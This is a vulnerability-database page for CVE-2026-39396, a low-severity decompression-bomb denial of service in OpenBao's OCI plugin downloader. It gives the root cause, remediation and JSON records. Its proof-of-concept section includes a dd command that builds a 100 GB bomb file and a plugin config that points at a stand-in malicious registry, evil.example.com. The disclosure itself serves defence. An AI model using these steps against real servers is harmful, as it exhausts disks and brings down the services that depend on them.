Vulnerability-Lookup

CVE-2026-39396 (GCVE-0-2026-39396)

Vulnerability from cvelistv5 – Published: 2026-04-21 00:44 – Updated: 2026-04-21 19:49

Title

OpenBao has Decompression Bomb via Unbounded Copy in OCI Plugin Extraction (DoS)

Summary

OpenBao is an open source identity-based secrets management system. Prior to version 2.5.3, `ExtractPluginFromImage()` in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via `io.Copy` with no upper bound on the number of bytes written. An attacker who controls or compromises the OCI registry referenced in the victim's configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file. The SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace **legit plugin image** with no need to change its signature. Version 2.5.3 contains a patch.

Severity ?

3.1 (Low)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L

CWE

CWE-400 - Uncontrolled Resource Consumption
CWE-674 - Uncontrolled Recursion
CWE-770 - Allocation of Resources Without Limits or Throttling

Assigner

GitHub_M

References

URL

Tags

https://github.com/openbao/openbao/security/advis…

x_refsource_CONFIRM

Impacted products

	Vendor	Product	Version
	openbao	openbao	Affected: < 2.5.3

Show details on NVD website

JSON

To clipboard

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GHSA-R65V-XGWC-G56J

Vulnerability from github – Published: 2026-04-21 18:24 – Updated: 2026-04-21 18:24

Summary

OpenBao: Decompression Bomb via Unbounded Copy in OCI Plugin Extraction (DoS)

Details

Summary

ExtractPluginFromImage() in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via io.Copy with no upper bound on the number of bytes written. An attacker who controls or compromises the OCI registry referenced in the victim's configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file.

The SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace legit plugin image with no need to change its signature.

Details

Root cause

helper/pluginutil/oci/downloader.go:301:

if _, copyErr := io.Copy(outFile, tarReader); copyErr != nil {

io.Copy() reads until EOF with no size limit.
The tar header.Size field is never validated before the copy, and mutate.Extract decompresses all gzip layers in memory/streaming, resulting in unbounded decompression-to-disk.

PoC

Set up a malicious OCI registry
Create a decompression bomb binary: bash dd if=/dev/zero bs=1G count=100 > /tmp/bomb-binary
Package it in a minimal OCI image
Push to the malicious registry
Configure victim OpenBao to use this registry: hcl plugin "secrets" "bomb" { image = "evil.example.com/plugin" version = "v1.0.0" binary_name = "openbao-plugin-secrets-bomb" sha256sum = "0000000000000000000000000000000000000000000000000000000000000000" } plugin_auto_download = true
Start OpenBao (or trigger SIGHUP), load OCI image, disk fill -> cause DoS

Impact

Denial of Service: Disk exhaustion on the OpenBao server
Cascading failure: Co-located services (databases, other apps) also fail when the disk is full
Difficult recovery: If the process is killed mid-extraction, the partial file remains on disk and is not cleaned up
Repeated exploitation: On SIGHUP or restart with plugin_auto_download = true, the bomb is re-downloaded

Remediation

Validate header.Size against a configurable maximum before opening the output file
Wrap tarReader in io.LimitReader(tarReader, maxSize+1) and check bytes written after copy
Add a max_size configuration field to PluginConfig for operator control (default: 1 GiB)

Severity ?

3.1 (Low)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/openbao/openbao"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260420180337-2b2a901aa9f7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39396"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-674",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-21T18:24:10Z",
    "nvd_published_at": "2026-04-21T01:16:06Z",
    "severity": "LOW"
  },
  "details": "### Summary\n\n`ExtractPluginFromImage()` in OpenBao\u0027s OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via `io.Copy` with no upper bound on the number of bytes written.\nAn attacker who controls or compromises the OCI registry referenced in the victim\u0027s configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file.\n\nThe SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace **legit plugin image** with no need to change its signature.\n\n### Details\n\n#### Root cause\n\n`helper/pluginutil/oci/downloader.go:301`:\n\n```go\nif _, copyErr := io.Copy(outFile, tarReader); copyErr != nil {\n```\n\n`io.Copy()` reads until EOF with no size limit.  \nThe tar `header.Size` field is never validated before the copy, and `mutate.Extract` decompresses all gzip layers in memory/streaming, resulting in unbounded decompression-to-disk.\n\n### PoC\n\n1. Set up a malicious OCI registry\n2. Create a decompression bomb binary:\n   ```bash\n   dd if=/dev/zero bs=1G count=100 \u003e /tmp/bomb-binary\n   ```\n3. Package it in a minimal OCI image\n4. Push to the malicious registry\n5. Configure victim OpenBao to use this registry:\n   ```hcl\n   plugin \"secrets\" \"bomb\" {\n     image       = \"evil.example.com/plugin\"\n     version     = \"v1.0.0\"\n     binary_name = \"openbao-plugin-secrets-bomb\"\n     sha256sum   = \"0000000000000000000000000000000000000000000000000000000000000000\"\n   }\n   plugin_auto_download = true\n   ```\n6. Start OpenBao (or trigger SIGHUP), load OCI image, disk fill -\u003e cause DoS\n\n### Impact\n\n- Denial of Service: Disk exhaustion on the OpenBao server\n- Cascading failure: Co-located services (databases, other apps) also fail when the disk is full\n- Difficult recovery: If the process is killed mid-extraction, the partial file remains on disk and is not cleaned up\n- Repeated exploitation: On SIGHUP or restart with plugin_auto_download = true, the bomb is re-downloaded\n\n### Remediation\n\n1. Validate `header.Size` against a configurable maximum before opening the output file\n2. Wrap `tarReader` in `io.LimitReader(tarReader, maxSize+1)` and check bytes written after copy\n3. Add a max_size configuration field to PluginConfig for operator control (default: 1 GiB)",
  "id": "GHSA-r65v-xgwc-g56j",
  "modified": "2026-04-21T18:24:10Z",
  "published": "2026-04-21T18:24:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openbao/openbao/security/advisories/GHSA-r65v-xgwc-g56j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39396"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openbao/openbao/pull/2941"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openbao/openbao/commit/af576af5322c6552a017ad10fd76aa4f40fd021e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openbao/openbao"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openbao/openbao/releases/tag/v2.5.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenBao: Decompression Bomb via Unbounded Copy in OCI Plugin Extraction (DoS)"
}

FKIE_CVE-2026-39396

Vulnerability from fkie_nvd - Published: 2026-04-21 01:16 - Updated: 2026-04-21 20:16

Severity ?

3.1 (Low) - CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/openbao/openbao/security/advisories/GHSA-r65v-xgwc-g56j
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/openbao/openbao/security/advisories/GHSA-r65v-xgwc-g56j

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "OpenBao is an open source identity-based secrets management system. Prior to version 2.5.3, `ExtractPluginFromImage()` in OpenBao\u0027s OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via `io.Copy` with no upper bound on the number of bytes written. An attacker who controls or compromises the OCI registry referenced in the victim\u0027s configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file. The SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace **legit plugin image** with no need to change its signature. Version 2.5.3 contains a patch."
    }
  ],
  "id": "CVE-2026-39396",
  "lastModified": "2026-04-21T20:16:58.500",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "LOW",
          "baseScore": 3.1,
          "baseSeverity": "LOW",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L",
          "version": "3.1"
        },
        "exploitabilityScore": 1.6,
        "impactScore": 1.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-04-21T01:16:06.507",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/openbao/openbao/security/advisories/GHSA-r65v-xgwc-g56j"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/openbao/openbao/security/advisories/GHSA-r65v-xgwc-g56j"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Undergoing Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-400"
        },
        {
          "lang": "en",
          "value": "CWE-674"
        },
        {
          "lang": "en",
          "value": "CWE-770"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-39396 (GCVE-0-2026-39396)

GHSA-R65V-XGWC-G56J

Summary

Details

Root cause

PoC

Impact

Remediation

FKIE_CVE-2026-39396

Tags

Sightings

Nomenclature